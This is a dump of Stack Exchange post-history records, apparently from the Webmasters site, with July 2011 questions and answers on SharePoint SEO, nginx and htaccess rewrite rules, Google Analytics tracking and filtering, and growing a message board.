  <row Id="39321" PostHistoryTypeId="2" PostId="16497" RevisionGUID="a6d08d89-38a8-4a1b-98ff-a68bc034a96d" CreationDate="2011-07-06T15:35:58.057" UserId="2010" Text="As far as I know **Microsoft SharePoint** does not provide &quot;out of the box&quot; many essential features to enable good performance on search engines. Here are the main issues I found:&#xD;&#xA; &#xD;&#xA;1. Little control over the length and structure of the URL.&#xD;&#xA;2. Default redirections 302 (temporary) redirects instead of 301 (permanent).&#xD;&#xA;3. The standard version of SharePoint 2007 creates pages with URLs like this: &quot;/Pages/Thisisatestpageinsharepoint2007.aspx. This URL structure has poor usability. A better URL would look like: &quot;/test-page-sharepoint-2007.aspx.&#xD;&#xA;4. By default SharePoint will create the URL based on the title page. This can be a problem from a SEO perspective becasue the content of a page could always change but the structure of URLs should always be persistent.&#xD;&#xA;5. SharePoint does not support the automated creation and updating of XML Sitemap&#xD;&#xA;6. You can not add custom meta tags such as &lt;meta name=&quot;robots&quot; content=&quot;noindex&quot;&gt; to control searche engines robots. &#xD;&#xA; &#xD;&#xA;To overcome some of these problems you can install and configure specialized plugins or extensions. Other problems may require a more complex customization of the application code.&#xD;&#xA;&#xD;&#xA;Do you know if the current version of SharePoint still have those issue and if there are other SEO issues I should aware of?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39322" PostHistoryTypeId="1" PostId="16497" RevisionGUID="a6d08d89-38a8-4a1b-98ff-a68bc034a96d" CreationDate="2011-07-06T15:35:58.057" UserId="2010" Text="What are the most commont SEO issue with Sharepoint?" />
  <row Id="39323" PostHistoryTypeId="3" PostId="16497" RevisionGUID="a6d08d89-38a8-4a1b-98ff-a68bc034a96d" CreationDate="2011-07-06T15:35:58.057" UserId="2010" Text="&lt;seo&gt;&lt;sharepoint&gt;" />
  <row Id="39324" PostHistoryTypeId="17" PostId="16498" RevisionGUID="77964843-0a4e-4018-8ff0-099b830a1943" CreationDate="2011-07-06T15:45:06.270" UserId="-1" Comment="from http://stackoverflow.com/questions/6597076/what-does-the-mean-in-rewrite-http-test-com-permanent" Text="" />
  <row Id="39325" PostHistoryTypeId="2" PostId="16499" RevisionGUID="320fbf49-500e-479c-a9d4-8307c6134b04" CreationDate="2011-07-06T14:04:33.233" UserDisplayName="Nemo" Text="It's a regexp metacharacter that matches the beginning of a string.  Since all strings have a beginning, this regexp matches any string.&#xD;&#xA;&#xD;&#xA;This is a typical nginx idiom for &quot;redirect any URL to `http://test.com/`&quot;.&#xD;&#xA;&#xD;&#xA;The `$` metacharacter matching the end of a string would work as well, but `^` seems to be what everybody uses.&#xD;&#xA;" />
  <row Id="39326" PostHistoryTypeId="2" PostId="16498" RevisionGUID="00b0b224-378d-4bfc-bc5d-e446b61f0f1b" CreationDate="2011-07-06T13:20:22.957" UserDisplayName="Freewind" Text="I found some configuration of nginx contains:&#xD;&#xA;&#xD;&#xA;    if($args ^~ post=140) {&#xD;&#xA;        rewrite ^ http://test.com/ permanent;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;What does the `^` mean in `rewrite ^ http://test.com/ permanent`?" />
  <row Id="39327" PostHistoryTypeId="1" PostId="16498" RevisionGUID="00b0b224-378d-4bfc-bc5d-e446b61f0f1b" CreationDate="2011-07-06T13:20:22.957" UserDisplayName="Freewind" Text="What does the '^' mean in &quot;rewrite ^ http://test.com permanent;&quot;" />
  <row Id="39328" PostHistoryTypeId="3" PostId="16498" RevisionGUID="00b0b224-378d-4bfc-bc5d-e446b61f0f1b" CreationDate="2011-07-06T13:20:22.957" UserDisplayName="Freewind" Text="&lt;nginx&gt;" />
  <row Id="39329" PostHistoryTypeId="17" PostId="16499" RevisionGUID="d03dc041-b13e-40be-afd2-8cb5dd0a5550" CreationDate="2011-07-06T15:45:06.270" UserId="-1" Comment="from http://stackoverflow.com/questions/6597076/what-does-the-mean-in-rewrite-http-test-com-permanent" Text="" />
  <row Id="39330" PostHistoryTypeId="2" PostId="16500" RevisionGUID="6bb1cc88-291d-43c5-87e9-61571e863876" CreationDate="2011-07-06T15:48:43.193" UserId="7588" Text="You can have your customer in the same group as www-data and set your/their FTP config to always upload with group permissions set to be read/writeable by www-data.&#xD;&#xA;&#xD;&#xA;What this might be a problem with is when you get another customer. You will not want customer A being able to read/write customer B's data.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Therefore consider doing it the other way, having Apache run with the customer's uid + gid. This can be done, more instructions on how to configure your vhosts etc is here:&#xD;&#xA;&#xD;&#xA;http://articles.slicehost.com/2010/5/19/configuring-the-apache-mpm-on-ubuntu" />
  <row Id="39331" PostHistoryTypeId="2" PostId="16501" RevisionGUID="7b5e11e1-7c1b-49aa-bc0a-7ab208c0ac0f" CreationDate="2011-07-06T15:55:08.417" UserId="8828" Text="I personally use a program called Pendule for Chrome which has loads of webdev tools on it, including a color picker :)." />
  <row Id="39332" PostHistoryTypeId="2" PostId="16502" RevisionGUID="bafa3fcd-15cd-41c8-8e5c-9c95f57cdd3e" CreationDate="2011-07-06T16:29:43.830" UserId="8829" Text="i want ask what rewriterule should i use in .htaccess for following url:&#xD;&#xA;&#xD;&#xA;http://mysite.com/m/videos/albums/my/add_objects/**CaptainZoap-s-videos**/owner/**CaptainZoap**&#xD;&#xA;&#xD;&#xA;and i want to make the following url change to this:&#xD;&#xA;&#xD;&#xA;http://mysite.com/uploadvideo.php&#xD;&#xA;&#xD;&#xA;Can you make rule that will forward any username (that is in **black color**) to forward url to uploadvideo.php&#xD;&#xA;&#xD;&#xA;Because i want to make php.ini with custom upload limits (php.ini works only in the directory where the executing file exists.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39333" PostHistoryTypeId="1" PostId="16502" RevisionGUID="bafa3fcd-15cd-41c8-8e5c-9c95f57cdd3e" CreationDate="2011-07-06T16:29:43.830" UserId="8829" Text="Rewrite rule using .htaccess for boonex dolphin script" />
  <row Id="39334" PostHistoryTypeId="3" PostId="16502" RevisionGUID="bafa3fcd-15cd-41c8-8e5c-9c95f57cdd3e" CreationDate="2011-07-06T16:29:43.830" UserId="8829" Text="&lt;htaccess&gt;&lt;rewrite&gt;" />
  <row Id="39335" PostHistoryTypeId="2" PostId="16503" RevisionGUID="e47a5b43-d110-499d-96f6-826aa3832913" CreationDate="2011-07-06T16:36:34.793" UserId="1253" Text="It looks like SharePoint hasn't addressed most, if not all, of the issues you listed. Although it does look like addressing them yourself seems to be easier in II7. Also, have you seen the [SEO Toolkit](http://www.iis.net/download/SEOToolkit)? It seems to addresses some of the issues you mentioned as well.&#xD;&#xA;&#xD;&#xA;Other issues that still seem to exist that I found from some google searches:&#xD;&#xA;&#xD;&#xA; - Pages can be accessed from multiple URLs. This will result in duplicate content issues.&#xD;&#xA; - Lots of JavaScript is loaded. This will cause your pages to load slowly. Page speed is a ranking factor for Google (albeit a small one).&#xD;&#xA; - Sharepoint does not produce valid HTML code. This may result in crawling errors.&#xD;&#xA;&#xD;&#xA;FYI, [StackExchange][1] does have a Sharepoint Q&amp;A site in beta. Someone even [asked a SharePoint SEO question][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sharepoint.stackexchange.com/&#xD;&#xA;  [2]: http://sharepoint.stackexchange.com/questions/10319/sharepoint-seo-tips" />
  <row Id="39336" PostHistoryTypeId="2" PostId="16504" RevisionGUID="80d0066f-15b7-4dee-8cbb-622996f0f523" CreationDate="2011-07-06T16:37:04.760" UserId="7198" Text="**Use the Google Analytics Ecommerce Tracking feature.** From their [setup page:](http://code.google.com/apis/analytics/docs/tracking/gaTrackingEcommerce.html)&#xD;&#xA;&#xD;&#xA;&gt; &quot;The collection of ecommerce methods&#xD;&#xA;&gt; work together to send each user's&#xD;&#xA;&gt; transaction information to the Google&#xD;&#xA;&gt; Analytics database as it occurs. In&#xD;&#xA;&gt; this way, Analytics can link a&#xD;&#xA;&gt; specific referral source to a&#xD;&#xA;&gt; conversion or purchase.&quot;&#xD;&#xA;&#xD;&#xA;This allows you to measure the number of dollars, which Google calls the [&quot;$ index&quot;,](http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=86205) from specific sources in addition to the regular data (the number of clicks) from those sources.&#xD;&#xA;&#xD;&#xA;Ecommerce Tracking requires a modification to your shopping cart system to report transactions to Google Analytics. Many popular shopping carts and ecommerce systems offer built-in support for Analytics Tracking. For custom coded carts, Google gives [guidelines](http://code.google.com/apis/analytics/docs/tracking/gaTrackingEcommerce.html) to enable sales tracking.&#xD;&#xA;&#xD;&#xA;To track the clicks and dollar income from a particular source (e.g. a banner ad), you'd be wise to make sure that the banner ad links to your customer's site using a [tagged link](http://www.google.com/support/googleanalytics/bin/answer.py?answer=55518&amp;hl=en) to track the campaign, just as John suggests. You can create tagged links with Google's [URL builder.](http://www.google.com/support/googleanalytics/bin/answer.py?answer=55578)  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="39338" PostHistoryTypeId="5" PostId="16504" RevisionGUID="c9cf99d7-0dc6-4602-a8db-45052b257e63" CreationDate="2011-07-06T16:52:43.203" UserId="7198" Comment="added 594 characters in body" Text="**Use the Google Analytics Ecommerce Tracking feature.** From their [setup page:](http://code.google.com/apis/analytics/docs/tracking/gaTrackingEcommerce.html)&#xD;&#xA;&#xD;&#xA;&gt; &quot;The collection of ecommerce methods&#xD;&#xA;&gt; work together to send each user's&#xD;&#xA;&gt; transaction information to the Google&#xD;&#xA;&gt; Analytics database as it occurs. In&#xD;&#xA;&gt; this way, Analytics can link a&#xD;&#xA;&gt; specific referral source to a&#xD;&#xA;&gt; conversion or purchase.&quot;&#xD;&#xA;&#xD;&#xA;This allows you to measure the number of dollars per page, which Google calls the [&quot;$ index&quot;,](http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=86205) and filter by specific sources. To track the clicks and dollar income from a banner ad, you'd be wise to make sure that the banner ad links to your customer's site using a [tagged link](http://www.google.com/support/googleanalytics/bin/answer.py?answer=55518&amp;hl=en) to track the campaign, just as John suggests. You can create tagged links with Google's [URL builder.](http://www.google.com/support/googleanalytics/bin/answer.py?answer=55578) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Ecommerce Tracking requires a modification to your shopping cart system to report transactions to Google Analytics. Many popular shopping carts and ecommerce systems offer built-in support for Analytics Tracking. For custom coded carts, Google gives [guidelines](http://code.google.com/apis/analytics/docs/tracking/gaTrackingEcommerce.html) to enable sales tracking.&#xD;&#xA;&#xD;&#xA;In addition, you could direct all traffic from a particular banner ad to a special landing page, then use the Analytics [funnel](http://www.google.com/support/analytics/bin/answer.py?answer=55515) feature to work out how many of those who hit the landing page continue all the way to the checkout/receipt page. Combined with Ecommerce Tracking, this would give you the click-through rate (number of visits to the landing page), the conversion rate (percentage of those visitors who complete the goal of reaching the checkout), the income per visitor, and the income per page (the $ index).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39341" PostHistoryTypeId="5" PostId="15027" RevisionGUID="c6d8f818-c98b-46b3-81dc-31fbb9c7e3f1" CreationDate="2011-07-06T17:14:22.623" UserId="7962" Comment="added 50 characters in body" Text="I'm working for a company that is beginning with online advertisement and the following challenge was set:&#xD;&#xA;&#xD;&#xA;**How can you monitor the effectivess of the advertisement in actual sales?**&#xD;&#xA;&#xD;&#xA;**Further details**&#xD;&#xA;&#xD;&#xA; - The company doesn't sell anything online yet. The link would redirect to an institutional page.&#xD;&#xA; - The banner ad we're working on would link to their online catalog." />
  <row Id="39342" PostHistoryTypeId="5" PostId="15027" RevisionGUID="1803c884-6ea7-46dd-a17d-9f1b4e30599e" CreationDate="2011-07-06T17:28:24.483" UserId="7962" Comment="added 315 characters in body" Text="I'm working for a company that is beginning with online advertisement and the following challenge was set:&#xD;&#xA;&#xD;&#xA;**How can you monitor the effectivess of the advertisement in actual sales?**&#xD;&#xA;&#xD;&#xA;The real challenge here is measuring how many of the people who only got to know the company by the banner made a purchase in the physical store. There's no such thing as an online store but only an institutional site displaying the latest merchandise and basic informations.&#xD;&#xA;&#xD;&#xA;**Further details**&#xD;&#xA;&#xD;&#xA; - The company doesn't sell anything online yet. The link would redirect to an institutional page.&#xD;&#xA; - The banner ad we're working on would link to their online catalog - only pictures, no purchase button." />
  <row Id="39343" PostHistoryTypeId="2" PostId="16506" RevisionGUID="c55e94c6-e2e9-4a76-8a03-5537e03af661" CreationDate="2011-07-06T17:57:08.653" UserId="540" Text="Similar to TV commercials that say &quot;Ask for agent 347&quot; or &quot;use promo code 219&quot; you can ad something to your Advert that helps indicate which placement/location was the source for your lead.&#xD;&#xA;&#xD;&#xA;If you combine this with Google Analytics (or similar) you can see where users are coming in from.&#xD;&#xA;&#xD;&#xA;The only trick with this is that **at large scale the accuracy drops**.  E.g. If I watch a Diggnation video and it tells me that I can get a discount on hosting at &quot;you know who&quot; by entering the promo code &quot;digg4&quot; it helps track where I came from... but now that these promo codes are &quot;out there&quot;, many times I just go to the site to make my purchase and then Google to find out which promo code is the best for what I need (even if I've never visited the site that offers the promo code &quot;FunWithSheep&quot;.&#xD;&#xA;&#xD;&#xA;Finally as much as it is a desire to track this kind of info, it often fails.  If I go to *McDonald's* was it due to the TV commercial I saw? (which one? this weeks? last weeks?) a radio ad? or just the fact I've known the menu at McDonald's for 30 years and had a craving for a Big Mac.&#xD;&#xA;&#xD;&#xA;I'd likely trust a statement from the end customer most.  Just flat out ask them where they heard about &quot;Company/Product X&quot; and give them a &quot;free-text&quot; entry textarea to tell you.  They may give you great insight... e.g. not just &quot;a friend&quot; but rather &quot;Jim Bob over at InnoTech told me that {YourProduct} saved him 20% of his payroll last year so I decided to check you out&quot;.  This is way more helpful, since you now know that word of mouth is powerful, and that maybe touching base with Jim Bob to see if there is anything else he needs/wants... or if you can use him for a testimonial success story in future ads.&#xD;&#xA;" />
  <row Id="39344" PostHistoryTypeId="2" PostId="16507" RevisionGUID="012424b7-b75c-4f2e-88fa-634b85416d33" CreationDate="2011-07-06T17:59:55.467" UserId="8832" Text="I have integrated Google Sites website with Google Analytics and I access the website frequently to add more content. I want Google Analytics to track visits from real visitors only. How can I configure it to exclude or filter out my visits?" />
  <row Id="39345" PostHistoryTypeId="1" PostId="16507" RevisionGUID="012424b7-b75c-4f2e-88fa-634b85416d33" CreationDate="2011-07-06T17:59:55.467" UserId="8832" Text="How to excludes my visits from Google Analytics?" />
  <row Id="39346" PostHistoryTypeId="3" PostId="16507" RevisionGUID="012424b7-b75c-4f2e-88fa-634b85416d33" CreationDate="2011-07-06T17:59:55.467" UserId="8832" Text="&lt;google-analytics&gt;&lt;google-sites&gt;" />
  <row Id="39347" PostHistoryTypeId="2" PostId="16508" RevisionGUID="db8a9905-47b4-4023-b2c9-79988fb655ac" CreationDate="2011-07-06T18:10:44.040" UserId="1253" Text="You can use the [Google Analytics opt out browser add-on][1].&#xD;&#xA;&#xD;&#xA;You can also block your own IP address. [See here for more][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.google.com/dlpage/gaoptout&#xD;&#xA;  [2]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55481" />
  <row Id="39348" PostHistoryTypeId="2" PostId="16509" RevisionGUID="1553da2f-dc2f-42bb-9269-cf26853fd5d2" CreationDate="2011-07-06T18:11:31.963" UserId="8331" Text="Im a big Drupal fan which is why Ubercart is the obvious choice for me when it comes to ecommerce. Ive made a couple of Ubercart sites and I havn't been massively impressed. &#xD;&#xA;&#xD;&#xA;Ubercart doesn't seem very powerful when you need extensive business logic, can be hard to theme and has javascript reliance. Admittedly ive only played with others like magento and zencart, but Ubercart doesn't seem to lead in its field the way Drupal does in its. &#xD;&#xA;&#xD;&#xA;Im reluctant to learn a new ecommerce package due to the time required, but the javascript reliance alone makes me wonder if I have to. Has anyone else had a Drupal background and faced a similar dilemma with ecommerce?&#xD;&#xA;&#xD;&#xA;Thanks " />
  <row Id="39349" PostHistoryTypeId="1" PostId="16509" RevisionGUID="1553da2f-dc2f-42bb-9269-cf26853fd5d2" CreationDate="2011-07-06T18:11:31.963" UserId="8331" Text="Drupal guy, should I use Ubercart or learn a new ecommerce package?" />
  <row Id="39350" PostHistoryTypeId="3" PostId="16509" RevisionGUID="1553da2f-dc2f-42bb-9269-cf26853fd5d2" CreationDate="2011-07-06T18:11:31.963" UserId="8331" Text="&lt;ecommerce&gt;" />
  <row Id="39351" PostHistoryTypeId="5" PostId="16508" RevisionGUID="55308a8e-23fe-4f62-9312-e2f9dc92845b" CreationDate="2011-07-06T18:17:32.117" UserId="1253" Comment="added 2526 characters in body" Text="You can use the [Google Analytics opt out browser add-on][1].&#xD;&#xA;&#xD;&#xA;You can also block your own IP address. [Source][2]&#xD;&#xA;&#xD;&#xA;&gt; If you want to exclude internal traffic from appearing in your reports, you can filter out a specific IP address or a range of IP addresses. You can also use cookies to filter out visits from particular users. We'll explain how below. &#xD;&#xA;To exclude by IP address:&#xD;&#xA;&#xD;&#xA;&gt;1. Click **Filter Manager** from the Analytics Settings page&#xD;&#xA;&gt;2. Enter a **Filter Name** for this filter&#xD;&#xA;&gt;3. From the **Filter Type** drop-down list, select **Exclude all traffic from an IP address**&#xD;&#xA;&gt;4. The **IP address** field will auto-populate with an example IP address. Enter the correct value. Remember to use regular expressions when entering any IP address. For example, if the IP address to filter is:  &#xD;&#xA;&gt;&#xD;&#xA;&gt;  176.168.1.1  &#xD;&#xA;&gt;  then the **IP address** value will be:   &#xD;&#xA;&gt;  176\.168\.1\.1&#xD;&#xA;&gt;&#xD;&#xA;&gt;  You may also enter a range of IP addresses. For example: &#xD;&#xA;&gt;  **Range**: 176.168.1.1-25 and 10.0.0.1-14&#xD;&#xA;&gt;  **IP address** value : ^176\.168\.1\.([1-9]|1[0-9]|2[0-5])$|^10\.0\.0\.([1-9]|1[0-4])$&#xD;&#xA;&#xD;&#xA;&gt;  For help finding the correct expression for your range of IP addresses, use our tool:&#xD;&#xA;http://www.google.com/support/googleanalytics/bin/answer.py?answer=55572&#xD;&#xA;&gt;&#xD;&#xA;&gt;5. Select the profiles to which this filter should be applied in the **Available Website Profiles** box&#xD;&#xA;&gt;6. Click Add to move the selected profiles into the **Selected Website Profiles** list&#xD;&#xA;&gt;7. Click **Finish** to save this filter, or **Cancel** to return to the previous page&#xD;&#xA;&#xD;&#xA;&gt;**To exclude traffic by Cookie Content**&#xD;&#xA;&#xD;&#xA;&gt;**Note**: This is an advanced alternative to the previous method. &#xD;&#xA;&#xD;&#xA;&gt;To exclude traffic from dynamic IP addresses, you can use a JavaScript function to set a cookie on your internal computers. You'll then be able to filter all visitors with this cookies from appearing on your Analytics reports.&#xD;&#xA;&#xD;&#xA;&gt;How to exclude traffic by cookie:&#xD;&#xA;&#xD;&#xA;&gt;1. Create a new page on your domain, containing the following code:&#xD;&#xA;&#xD;&#xA;&gt;  &lt;body onLoad=&quot;javascript:pageTracker._setVar('test_value');&quot;&gt;&#xD;&#xA;&#xD;&#xA;&gt;  (Please note that this code is in addition to the Google Analytics tracking code that you have on every page of your website.)&#xD;&#xA;&#xD;&#xA;&gt;2. In order to set the cookie, visit your newly created page from all computers that you would like to exclude from your reports.&#xD;&#xA;&#xD;&#xA;&gt;3. Create an Exclude filter to remove data from visitors with this cookie. Follow these instructions http://www.google.com/support/googleanalytics/bin/answer.py?answer=55494&#xD;&#xA;to create a filter with the following settings:&#xD;&#xA;&#xD;&#xA;&gt;Filter Type: Custom filter &gt; Exclude   &#xD;&#xA;&gt;Filter Field: User Defined  &#xD;&#xA;&gt;Filter Pattern: test_value  &#xD;&#xA;&gt;Case Sensitive: No&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.google.com/dlpage/gaoptout&#xD;&#xA;  [2]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55481" />
  <row Id="39352" PostHistoryTypeId="5" PostId="16508" RevisionGUID="0676d368-c8a3-43ea-a564-f69d99262ced" CreationDate="2011-07-06T18:25:18.270" UserId="1253" Comment="added 45 characters in body" Text="You can use the [Google Analytics opt out browser add-on][1].&#xD;&#xA;&#xD;&#xA;You can also block your own IP address. [Source][2]&#xD;&#xA;&#xD;&#xA;&gt; If you want to exclude internal traffic from appearing in your reports, you can filter out a specific IP address or a range of IP addresses. You can also use cookies to filter out visits from particular users. We'll explain how below. &#xD;&#xA;To exclude by IP address:&#xD;&#xA;&#xD;&#xA;&gt;1. Click **Filter Manager** from the Analytics Settings page&#xD;&#xA;&gt;2. Enter a **Filter Name** for this filter&#xD;&#xA;&gt;3. From the **Filter Type** drop-down list, select **Exclude all traffic from an IP address**&#xD;&#xA;&gt;4. The **IP address** field will auto-populate with an example IP address. Enter the correct value. Remember to use regular expressions when entering any IP address. For example, if the IP address to filter is:  &#xD;&#xA;&gt;&#xD;&#xA;&gt;  176.168.1.1  &#xD;&#xA;&gt;  then the **IP address** value will be:   &#xD;&#xA;&gt;  176\.168\.1\.1&#xD;&#xA;&gt;&#xD;&#xA;&gt;  You may also enter a range of IP addresses. For example: &#xD;&#xA;&gt;  **Range**: 176.168.1.1-25 and 10.0.0.1-14&#xD;&#xA;&gt;  **IP address** value : ^176\.168\.1\.([1-9]|1[0-9]|2[0-5])$|^10\.0\.0\.([1-9]|1[0-4])$&#xD;&#xA;&#xD;&#xA;&gt;  For help finding the correct expression for your range of IP addresses, use our tool:&#xD;&#xA;http://www.google.com/support/googleanalytics/bin/answer.py?answer=55572&#xD;&#xA;&gt;&#xD;&#xA;&gt;5. Select the profiles to which this filter should be applied in the **Available Website Profiles** box&#xD;&#xA;&gt;6. Click Add to move the selected profiles into the **Selected Website Profiles** list&#xD;&#xA;&gt;7. Click **Finish** to save this filter, or **Cancel** to return to the previous page&#xD;&#xA;&#xD;&#xA;You can also block yourself with a cookie&#xD;&#xA;&#xD;&#xA;&gt;**To exclude traffic by Cookie Content**&#xD;&#xA;&#xD;&#xA;&gt;**Note**: This is an advanced alternative to the previous method. &#xD;&#xA;&#xD;&#xA;&gt;To exclude traffic from dynamic IP addresses, you can use a JavaScript function to set a cookie on your internal computers. You'll then be able to filter all visitors with this cookies from appearing on your Analytics reports.&#xD;&#xA;&#xD;&#xA;&gt;How to exclude traffic by cookie:&#xD;&#xA;&#xD;&#xA;&gt;1. Create a new page on your domain, containing the following code:&#xD;&#xA;&#xD;&#xA;&gt;  &lt;body onLoad=&quot;javascript:pageTracker._setVar('test_value');&quot;&gt;&#xD;&#xA;&#xD;&#xA;&gt;  (Please note that this code is in addition to the Google Analytics tracking code that you have on every page of your website.)&#xD;&#xA;&#xD;&#xA;&gt;2. In order to set the cookie, visit your newly created page from all computers that you would like to exclude from your reports.&#xD;&#xA;&#xD;&#xA;&gt;3. Create an Exclude filter to remove data from visitors with this cookie. Follow these instructions http://www.google.com/support/googleanalytics/bin/answer.py?answer=55494&#xD;&#xA;to create a filter with the following settings:&#xD;&#xA;&#xD;&#xA;&gt;Filter Type: Custom filter &gt; Exclude   &#xD;&#xA;&gt;Filter Field: User Defined  &#xD;&#xA;&gt;Filter Pattern: test_value  &#xD;&#xA;&gt;Case Sensitive: No&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.google.com/dlpage/gaoptout&#xD;&#xA;  [2]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55481" />
  <row Id="39353" PostHistoryTypeId="25" PostId="16507" RevisionGUID="ef7198a7-295c-4923-a7b5-d777de7a74d4" CreationDate="2011-07-06T18:27:18.753" Comment="http://twitter.com/#!/StackWebmasters/status/88675403962662912" />
  <row Id="39354" PostHistoryTypeId="2" PostId="16510" RevisionGUID="98a17778-f2ab-49f6-992e-91cde99b9fa3" CreationDate="2011-07-06T18:35:00.413" UserId="1240" Text="You may have error reporting turned off in your `php.ini` file, and it could be something like a database error causing your pages to blank.&#xD;&#xA;&#xD;&#xA;I would suggest putting this code into `test.php` and navigating to it.&#xD;&#xA;&#xD;&#xA;    &lt;?PHP&#xD;&#xA;        phpinfo();&#xD;&#xA;    ?&gt;" />
  <row Id="39355" PostHistoryTypeId="17" PostId="16511" RevisionGUID="b3fd9f0c-ae55-4344-aed8-e3f9bd27e441" CreationDate="2011-07-06T18:57:25.770" UserId="-1" Comment="from http://stackoverflow.com/questions/6601470/should-i-link-thousands-on-landing-pages-to-my-website-or-not" Text="" />
  <row Id="39356" PostHistoryTypeId="2" PostId="16511" RevisionGUID="28543038-92ee-49a4-b9d7-1b4166b3bf57" CreationDate="2011-07-06T18:52:22.520" UserDisplayName="Tohid" Text="I'm working on a website, recently we decided to create thousands of landing pages to target different cities, using different keywords and feed them to google ... &#xD;&#xA;Our website's google rank is quite good ! question is, should we have these landing pages in our website's structure or have them separate not directly linked to the website ? if we do that is it going to damage our reputation ? " />
  <row Id="39357" PostHistoryTypeId="1" PostId="16511" RevisionGUID="28543038-92ee-49a4-b9d7-1b4166b3bf57" CreationDate="2011-07-06T18:52:22.520" UserDisplayName="Tohid" Text="Should I link thousands on landing pages to my website or not ?" />
  <row Id="39358" PostHistoryTypeId="3" PostId="16511" RevisionGUID="28543038-92ee-49a4-b9d7-1b4166b3bf57" CreationDate="2011-07-06T18:52:22.520" UserDisplayName="Tohid" Text="&lt;web-development&gt;&lt;seo&gt;" />
  <row Id="39359" PostHistoryTypeId="2" PostId="16512" RevisionGUID="c54dc07d-a196-415a-ae5a-eba2728e320b" CreationDate="2011-07-06T19:01:35.523" UserId="1240" Text="I have a moderately successful message board with an excellent (but tiny) community associated with it.&#xD;&#xA;&#xD;&#xA;One of my goals for the month is to try and increase the amount of users on the site and also the amount of posts per day.&#xD;&#xA;&#xD;&#xA;Apart from the general methods that any site could use to drive traffic is there anything I should specifically be doing for a message board?&#xD;&#xA;&#xD;&#xA;Here are some of the things I have already tried (and am already trying, obviously some of these things are on-going projects)&#xD;&#xA;&#xD;&#xA; - Harnessing Facebook Communities and the 'like' button.&#xD;&#xA; - Writing a friendly message to non-logged in users asking them to sign up or log in.&#xD;&#xA; - Writing posts in such as way as they spark debate or conversation.&#xD;&#xA; - Listen and engage with the community.&#xD;&#xA;&#xD;&#xA;Any suggestions would be greatly appreciated." />
  <row Id="39360" PostHistoryTypeId="1" PostId="16512" RevisionGUID="c54dc07d-a196-415a-ae5a-eba2728e320b" CreationDate="2011-07-06T19:01:35.523" UserId="1240" Text="Are there any tried and tested methods for rejuvenating an old message board?" />
  <row Id="39361" PostHistoryTypeId="3" PostId="16512" RevisionGUID="c54dc07d-a196-415a-ae5a-eba2728e320b" CreationDate="2011-07-06T19:01:35.523" UserId="1240" Text="&lt;traffic&gt;&lt;forum&gt;&lt;users&gt;" />
  <row Id="39362" PostHistoryTypeId="2" PostId="16513" RevisionGUID="506bd887-6fdb-4d47-9618-cfd56ab9e991" CreationDate="2011-07-06T19:05:22.823" UserId="1240" Text="If the landing pages provide different content to each city then I think you should keep them within your sites structure and use internal links between them all.&#xD;&#xA;&#xD;&#xA;If you have literally just called pages city_x.html and city_y.html then I am sure Google will catch on and catch up with you soon enough, I would say pull them off altogether before you are punished for it. " />
  <row Id="39363" PostHistoryTypeId="2" PostId="16514" RevisionGUID="1049d997-dfb8-4bf5-a238-2fe2fa0e958b" CreationDate="2011-07-06T19:05:52.667" UserId="1253" Text="That's ok to do although you probably will run into issues with duplicate content. Pages like what you're describing tend to have the same content with the exception of city/location names. There just isn't enough different content on the pages to have them be considered original content.&#xD;&#xA;&#xD;&#xA;I would also place them on your website as having thousands of mini-sites linked to your main site sounds like something that may be considered a linking scheme. That's a big no-no and you run the risk of penalties or being banned." />
  <row Id="39364" PostHistoryTypeId="5" PostId="16511" RevisionGUID="daa15443-958a-4ee2-8a4a-3f51e6bb1804" CreationDate="2011-07-06T19:06:40.247" UserId="1253" Comment="modified tags" Text="I'm working on a website, recently we decided to create thousands of landing pages to target different cities, using different keywords and feed them to google ... &#xD;&#xA;Our website's google rank is quite good ! question is, should we have these landing pages in our website's structure or have them separate not directly linked to the website ? if we do that is it going to damage our reputation? " />
  <row Id="39365" PostHistoryTypeId="6" PostId="16511" RevisionGUID="daa15443-958a-4ee2-8a4a-3f51e6bb1804" CreationDate="2011-07-06T19:06:40.247" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;landing-page&gt;" />
  <row Id="39366" PostHistoryTypeId="2" PostId="16515" RevisionGUID="84b48b8e-2c07-4ecb-9032-a2ebb7cd81c8" CreationDate="2011-07-06T19:30:21.913" UserId="1253" Text=" - Use a reputation system that allows members to achieve ranks and/or titles. The badging and reputation system at this site is a good example of that.&#xD;&#xA; - Have a referral system in place. Reward users for referring new members. It can be as simple as a badge or custom title.&#xD;&#xA; - Have an introductions forums so new members can introduce themselves. Make sure you are active in greeting them and encourage other members to do so as well.&#xD;&#xA; - Interview active members. Give them a chance to let others know about them. It's a good opportunity for people to promote themselves. But in order to be interviewed they have to first post great content in your site. You win either way." />
  <row Id="39367" PostHistoryTypeId="2" PostId="16516" RevisionGUID="878e86ae-bab3-497f-b0a8-b10eff65d61b" CreationDate="2011-07-06T19:31:00.897" UserId="8834" Text="Since a few days now the Google + button is being tracked and shown in our Google Analytics account, [which you can find here][1]. There is also a solution to track Twitter, Facebook, ... but can't seem to get it to work, [which you can find here][2]. Except putting the JavaScript Source Code in the header, do we need to do something else as well?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingSocial.html&#xD;&#xA;  [2]: http://analytics-api-samples.googlecode.com/svn/trunk/src/tracking/javascript/v5/social/twitter_js_async.html" />
  <row Id="39368" PostHistoryTypeId="1" PostId="16516" RevisionGUID="878e86ae-bab3-497f-b0a8-b10eff65d61b" CreationDate="2011-07-06T19:31:00.897" UserId="8834" Text="Social Interaction Tracking in Google Analytics" />
